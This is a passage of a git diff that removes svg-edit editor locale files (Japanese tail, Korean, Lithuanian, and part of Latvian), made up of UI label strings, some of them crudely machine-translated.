-		"mode_text": "テキストツール",
-		"mode_image": "イメージツール",
-		"mode_zoom": "ズームツール",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "元に戻す",
-		"redo": "やり直し",
-		"tool_source": "ソースの編集",
-		"wireframe_mode": "ワイヤーフレームで表示 [F]",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "グループ化",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "パスに変換",
-		"reorient_path": "現在の角度を０度とする",
-		"ungroup": "グループ化を解除",
-		"docprops": "文書のプロパティ",
-		"imagelib": "Image Library",
-		"move_bottom": "奥に移動",
-		"move_top": "手前に移動",
-		"node_clone": "ノードを複製",
-		"node_delete": "ノードを削除",
-		"node_link": "制御点の接続",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "適用",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"レイヤ",
-		"layers": "Layers",
-		"del": "レイヤの削除",
-		"move_down": "レイヤを下へ移動",
-		"new": "新規レイヤ",
-		"rename": "レイヤの名前を変更",
-		"move_up": "レイヤを上へ移動",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "移動先レイヤ:",
-		"move_selected": "選択対象を別のレイヤに移動"
-	},
-	config: {
-		"image_props": "イメージの設定",
-		"doc_title": "タイトル",
-		"doc_dims": "キャンバスの大きさ",
-		"included_images": "挿入された画像の扱い",
-		"image_opt_embed": "SVGファイルに埋め込む",
-		"image_opt_ref": "画像を参照する",
-		"editor_prefs": "エディタの設定",
-		"icon_size": "アイコンの大きさ",
-		"language": "言語",
-		"background": "エディタの背景色",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "※背景色はファイルに保存されません。",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "デフォルト",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"無効な値が指定されています。",
-		"noContentToFitTo":"合わせる対象のコンテンツがありません。",
-		"dupeLayerName":"同名のレイヤーが既に存在します。",
-		"enterUniqueLayerName":"新規レイヤの一意な名前を入力してください。",
-		"enterNewLayerName":"レイヤの新しい名前を入力してください。",
-		"layerHasThatName":"既に同名が付いています。",
-		"QmoveElemsToLayer":"選択した要素をレイヤー '%s' に移動しますか？",
-		"QwantToClear":"キャンバスをクリアしますか？\nアンドゥ履歴も消去されます。",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"ソースにエラーがあります。\n元のソースに戻しますか？",
-		"QignoreSourceChanges":"ソースの変更を無視しますか？",
-		"featNotSupported":"機能はサポートされていません。",
-		"enterNewImgURL":"画像のURLを入力してください。",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.ko.js b/public/svg-edit/editor/locale/lang.ko.js
deleted file mode 100644
index 28cced19..00000000
--- a/public/svg-edit/editor/locale/lang.ko.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "ko",
-	dir : "ltr",
-	common: {
-		"ok": "저장",
-		"cancel": "취소",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "색상을 클릭, 근무 시간 채우기 스트로크 색상을 변경하려면 변경하려면",
-		"zoom_level": "변경 수준으로 확대",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "채우기 색상 변경",
-		"stroke_color": "뇌졸중으로 색상 변경",
-		"stroke_style": "뇌졸중 변경 대시 스타일",
-		"stroke_width": "뇌졸중 너비 변경",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "회전 각도를 변경",
-		"blur": "Change gaussian blur value",
-		"opacity": "변경 항목을 선택 불투명도",
-		"circle_cx": "변경 동그라미 CX는 좌표",
-		"circle_cy": "동그라미 싸이 변경 조정할 수있어",
-		"circle_r": "변경 원의 반지름",
-		"ellipse_cx": "CX는 타원의 좌표 변경",
-		"ellipse_cy": "싸이 타원 변경 조정할 수있어",
-		"ellipse_rx": "변경 타원의 x 반지름",
-		"ellipse_ry": "변경 타원의 y를 반경",
-		"line_x1": "변경 라인의 X 좌표 시작",
-		"line_x2": "변경 라인의 X 좌표 결말",
-		"line_y1": "라인 변경 y를 시작 좌표",
-		"line_y2": "라인 변경 y를 결말의 좌표",
-		"rect_height": "사각형의 높이를 변경",
-		"rect_width": "사각형의 너비 변경",
-		"corner_radius": "변경 직사각형 코너 반경",
-		"image_width": "이미지 변경 폭",
-		"image_height": "이미지 높이 변경",
-		"image_url": "URL 변경",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "텍스트 변경 내용",
-		"font_family": "글꼴 변경 패밀리",
-		"font_size": "글꼴 크기 변경",
-		"bold": "굵은 텍스트",
-		"italic": "기울임꼴 텍스트"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "배경 색상 변경 / 투명도",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "맞춤 콘텐츠",
-		"fit_to_all": "맞춤 모든 콘텐츠에",
-		"fit_to_canvas": "맞춤 캔버스",
-		"fit_to_layer_content": "레이어에 맞게 콘텐츠",
-		"fit_to_sel": "맞춤 선택",
-		"align_relative_to": "정렬 상대적으로 ...",
-		"relativeTo": "상대:",
-		"페이지": "페이지",
-		"largest_object": "큰 개체",
-		"selected_objects": "당선 개체",
-		"smallest_object": "작은 개체",
-		"new_doc": "새 이미지",
-		"open_doc": "오픈 이미지",
-		"export_png": "Export as PNG",
-		"save_doc": "이미지 저장",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "히프 정렬",
-		"align_center": "정렬 센터",
-		"align_left": "왼쪽 정렬",
-		"align_middle": "중간 정렬",
-		"align_right": "오른쪽 맞춤",
-		"align_top": "정렬 탑",
-		"mode_select": "선택 도구",
-		"mode_fhpath": "연필 도구",
-		"mode_line": "선 도구",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "자유 핸드 직사각형",
-		"mode_ellipse": "타원",
-		"mode_circle": "동그라미",
-		"mode_fhellipse": "자유 핸드 타원",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "텍스트 도구",
-		"mode_image": "이미지 도구",
-		"mode_zoom": "줌 도구",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "취소",
-		"redo": "재실행",
-		"tool_source": "수정 소스",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "그룹 요소",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "그룹 해제 요소",
-		"docprops": "문서 속성",
-		"imagelib": "Image Library",
-		"move_bottom": "아래로 이동",
-		"move_top": "상단으로 이동",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "저장",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "레이어 삭제",
-		"move_down": "레이어 아래로 이동",
-		"new": "새 레이어",
-		"rename": "레이어 이름 바꾸기",
-		"move_up": "레이어 위로 이동",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "미리 정의된 선택:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.lt.js b/public/svg-edit/editor/locale/lang.lt.js
deleted file mode 100644
index 9224941a..00000000
--- a/public/svg-edit/editor/locale/lang.lt.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "lt",
-	dir : "ltr",
-	common: {
-		"ok": "Saugoti",
-		"cancel": "Atšaukti",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Spustelėkite norėdami keisti užpildo spalvą, perėjimo spustelėkite pakeisti insultas spalva",
-		"zoom_level": "Keisti mastelį",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Keisti užpildyti spalvos",
-		"stroke_color": "Keisti insultas spalva",
-		"stroke_style": "Keisti insultas brūkšnys stilius",
-		"stroke_width": "Keisti insultas plotis",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Keisti sukimosi kampas",
-		"blur": "Change gaussian blur value",
-		"opacity": "Pakeisti pasirinkto elemento neskaidrumo",
-		"circle_cx": "Keisti ratas&#39;s CX koordinuoti",
-		"circle_cy": "Keisti ratas&#39;s CY koordinuoti",
-		"circle_r": "Keisti savo apskritimo spindulys",
-		"ellipse_cx": "Keisti elipse&#39;s CX koordinuoti",
-		"ellipse_cy": "Keisti elipse&#39;s CY koordinuoti",
-		"ellipse_rx": "Keisti elipsė &quot;X spindulys",
-		"ellipse_ry": "Keisti elipse Y spindulys",
-		"line_x1": "Keisti linijos nuo koordinačių x",
-		"line_x2": "Keisti linijos baigėsi x koordinuoti",
-		"line_y1": "Keisti linijos pradžios y koordinačių",
-		"line_y2": "Keisti linijos baigėsi y koordinačių",
-		"rect_height": "Keisti stačiakampio aukščio",
-		"rect_width": "Pakeisti stačiakampio plotis",
-		"corner_radius": "Keisti stačiakampis skyrelį Spindulys",
-		"image_width": "Keisti paveikslėlio plotis",
-		"image_height": "Keisti vaizdo aukštis",
-		"image_url": "Pakeisti URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Keisti teksto turinys",
-		"font_family": "Pakeistišriftą Šeima",
-		"font_size": "Change font size",
-		"bold": "Pusjuodis",
-		"italic": "Kursyvas"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Pakeisti fono spalvą / drumstumas",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Talpinti turinys",
-		"fit_to_all": "Talpinti All content",
-		"fit_to_canvas": "Talpinti drobė",
-		"fit_to_layer_content": "Talpinti sluoksnis turinio",
-		"fit_to_sel": "Talpinti atrankos",
-		"align_relative_to": "Derinti palyginti ...",
-		"relativeTo": "palyginti:",
-		"puslapis": "puslapis",
-		"largest_object": "didžiausias objektas",
-		"selected_objects": "išrinktas objektai",
-		"smallest_object": "mažiausias objektą",
-		"new_doc": "New Image",
-		"open_doc": "Atidaryti atvaizdą",
-		"export_png": "Export as PNG",
-		"save_doc": "Išsaugoti nuotrauką",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Lygiuoti apačioje",
-		"align_center": "Lygiuoti",
-		"align_left": "Lygiuoti kairėje",
-		"align_middle": "Suderinti Vidurio",
-		"align_right": "Lygiuoti dešinėje",
-		"align_top": "Lygiuoti viršų",
-		"mode_select": "Įrankis",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free Hand stačiakampis",
-		"mode_ellipse": "Elipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free Hand Elipsė",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Tekstas Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Įrankį",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Atšaukti",
-		"redo": "Atstatyti",
-		"tool_source": "Taisyti Šaltinis",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Elementų grupės",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Išgrupuoti elementai",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Perkelti į apačią",
-		"move_top": "Perkelti į viršų",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Saugoti",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Ištrinti Layer",
-		"move_down": "Perkelti sluoksnį Žemyn",
-		"new": "New Layer",
-		"rename": "Pervadinti sluoksnį",
-		"move_up": "Perkelti sluoksnį Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Pasirinkite iš anksto:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.lv.js b/public/svg-edit/editor/locale/lang.lv.js
deleted file mode 100644
index 76c7dbfd..00000000
--- a/public/svg-edit/editor/locale/lang.lv.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "lv",
-	dir : "ltr",
-	common: {
-		"ok": "Glābt",
-		"cancel": "Atcelt",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Noklikšķiniet, lai mainītu aizpildījuma krāsu, shift-click to mainīt stroke krāsa",
-		"zoom_level": "Pārmaiņu mērogu",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Change aizpildījuma krāsu",
-		"stroke_color": "Change stroke krāsa",
-		"stroke_style": "Maina stroke domuzīme stils",
-		"stroke_width": "Change stroke platums",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Mainīt griešanās leņķis",
-		"blur": "Change gaussian blur value",
-		"opacity": "Mainīt izvēlēto objektu necaurredzamība",
-		"circle_cx": "Maina aplis&#39;s CX koordinēt",
-		"circle_cy": "Pārmaiņu loks ir cy koordinēt",
-		"circle_r": "Pārmaiņu loks ir rādiuss",
-		"ellipse_cx": "Mainīt elipses&#39;s CX koordinēt",
-		"ellipse_cy": "Mainīt elipses&#39;s cy koordinēt",
-		"ellipse_rx": "Mainīt elipses&#39;s x rādiuss",
-		"ellipse_ry": "Mainīt elipses&#39;s y rādiuss",
-		"line_x1": "Mainīt līnijas sākas x koordinēt",
-		"line_x2": "Mainīt līnijas beigu x koordinēt",
-		"line_y1": "Mainīt līnijas sākas y koordinātu",
-		"line_y2": "Mainīt līnijas beigu y koordinātu",
-		"rect_height": "Change Taisnstūra augstums",
-		"rect_width": "Change taisnstūra platums",
-		"corner_radius": "Maina Taisnstūris Corner Rādiuss",
-		"image_width": "Mainīt attēla platumu",
-		"image_height": "Mainīt attēla augstums",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Mainītu teksta saturs",
-		"font_family": "Mainīt fonta Family",
-		"font_size": "Mainīt fonta izmēru",
-		"bold": "Bold Text",
-		"italic": "Kursīvs"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change background color / necaurredzamība",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit uz visu saturu",
-		"fit_to_canvas": "Ievietot audekls",
-		"fit_to_layer_content": "Ievietot slānis saturs",
-		"fit_to_sel": "Fit atlases",
-		"align_relative_to": "Līdzināt, salīdzinot ar ...",
-		"relativeTo": "salīdzinājumā ar:",
-		"lapa": "lapa",
-		"largest_object": "lielākais objekts",
-		"selected_objects": "ievēlēts objekti",
-		"smallest_object": "mazākais objekts",
-		"new_doc": "New Image",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Līdzināt Bottom",
-		"align_center": "Līdzināt uz centru",
-		"align_left": "Līdzināt pa kreisi",
-		"align_middle": "Līdzināt Middle",
-		"align_right": "Līdzināt pa labi",
-		"align_top": "Līdzināt Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Taisnstūris",
-		"mode_ellipse": "Elipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Atpogāt",
-		"redo": "Redo",
-		"tool_source": "Rediģēt Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Grupa Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Atgrupēt Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Pārvietot uz leju",
-		"move_top": "Pārvietot uz augšu",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Glābt",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Dzēst Layer",
-		"move_down": "Pārvietot slāni uz leju",
-		"new": "New Layer",
-		"rename": "Pārdēvēt Layer",
-		"move_up": "Pārvietot slāni uz augšu",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Izvēlieties iepriekš:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
